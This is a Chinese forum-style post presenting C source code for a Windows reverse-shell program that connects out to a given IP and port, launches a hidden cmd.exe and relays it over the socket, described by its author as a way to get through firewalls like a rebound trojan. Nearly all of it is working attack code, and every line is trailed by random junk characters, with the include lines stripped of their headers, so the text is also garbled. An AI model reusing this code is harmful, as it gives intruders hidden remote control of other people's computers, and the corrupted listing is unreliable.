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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A?0Nm{O;3v  
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/* ============================== &,)&%Sg[  
Rebound port in Windows NT (QiAisE  
By wind,2006/7 ,tRj4mx  
===============================*/ [.}oyz; }N  
#include HOJV,9v N  
#include @KUWxFak  
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#pragma comment(lib,"wsock32.lib") yF/jFn  
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void OutputShell(); @[v~y"tE}  
SOCKET sClient; y~HP>~Oh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HLi%%"'  
!1b;F*H  
void main(int argc,char **argv) |gY^)9ei  
{ ] }X  
WSADATA stWsaData; "J3x_~,[4m  
int nRet; S5EK~#-L[  
SOCKADDR_IN stSaiClient,stSaiServer; |vzl. ^"-  
M"To&?OI  
if(argc != 3) QSf|nNT  
{ uXl3k:_n  
printf("Useage:\n\rRebound DestIP DestPort\n"); BfiD9ka-z  
return; )BfAw  
} =H]@n|$(  
Qe(:|q _  
WSAStartup(MAKEWORD(2,2),&stWsaData); _h1mF<\ X^  
Srd4))2/0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T&7qC=E#5  
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stSaiClient.sin_family = AF_INET; MnW+25=N  
stSaiClient.sin_port = htons(0); -`6+UkOV[x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %e} Saf  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `5Zz5V  
{ o#1 $q`Z  
printf("Bind Socket Failed!\n"); ]')RMg zM*  
return; ^T-V ^^#(  
} o*hF<D$Y  
7"D.L-H  
stSaiServer.sin_family = AF_INET; -d:Jta!}{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P=G3:eX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \Y}8S/]  
\xoP)Ub>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "kqPmeI  
{ Aq7osU1B  
printf("Connect Error!"); "g8M0[7e3  
return; uY'HT|@:{  
} y:l\$ pGC%  
OutputShell(); Pk)1WK7E  
} ;sFF+^~L  
P7/X|M z  
void OutputShell() r]36z X v  
{ UW EV^ &"x  
char szBuff[1024]; hY8reQp1  
SECURITY_ATTRIBUTES stSecurityAttributes; jW@Uo=I[  
OSVERSIONINFO stOsversionInfo; .kfI i^z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; < c/5b]No  
STARTUPINFO stStartupInfo; Hj,A5#|=J  
char *szShell; lHX72s|V  
PROCESS_INFORMATION stProcessInformation; Y:a]00&)#Y  
unsigned long lBytesRead; 1&Zj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z#\P&\`1z  
3m)y|$R  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !C: $?oU  
stSecurityAttributes.lpSecurityDescriptor = 0; '!$Rw"K.  
stSecurityAttributes.bInheritHandle = TRUE; TRq6NB  
XpJ7o=?W3  
IO-Ow!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E?0%Z&1h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wAW5 Z0D  
=C.$ UX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <UQbt N-B\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8-77d^cprR  
stStartupInfo.wShowWindow = SW_HIDE; /t"3!Z?BOv  
stStartupInfo.hStdInput = hReadPipe; <e</m)j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^DwYOo2B  
Jg| XH L)  
GetVersionEx(&stOsversionInfo); Jze:[MYS  
)I.$=s  
switch(stOsversionInfo.dwPlatformId) oM`0y@QCf  
{ BR yl4  
case 1: 6~w@PRy  
szShell = "command.com"; 9;-p'C  
break; yaH Zt`Y  
default: V 6reqEh  
szShell = "cmd.exe"; U\*J9  
break; ikiypWq  
} '(|ofJe!  
j#q-^h3H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z~ /` 1  
nc|p)  
send(sClient,szMsg,77,0); PxDh7{  
while(1) 7E~;xn;  
{ 4@# `t5H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DN57p!z  
if(lBytesRead) JrRH\+4K  
{ _>X+ZlpU:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |4 0`B% Z  
send(sClient,szBuff,lBytesRead,0); 2!=f hN  
} !." D]i;  
else YGC L2Y  
{ {[?(9u7R  
lBytesRead=recv(sClient,szBuff,1024,0); ExL0?FemWV  
if(lBytesRead<=0) break; q6V>zi  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \n|EM@=eE  
} .jjG(L  
} *mvlb (' &  
={@6{-tl  
return; K^<BW(s  
}
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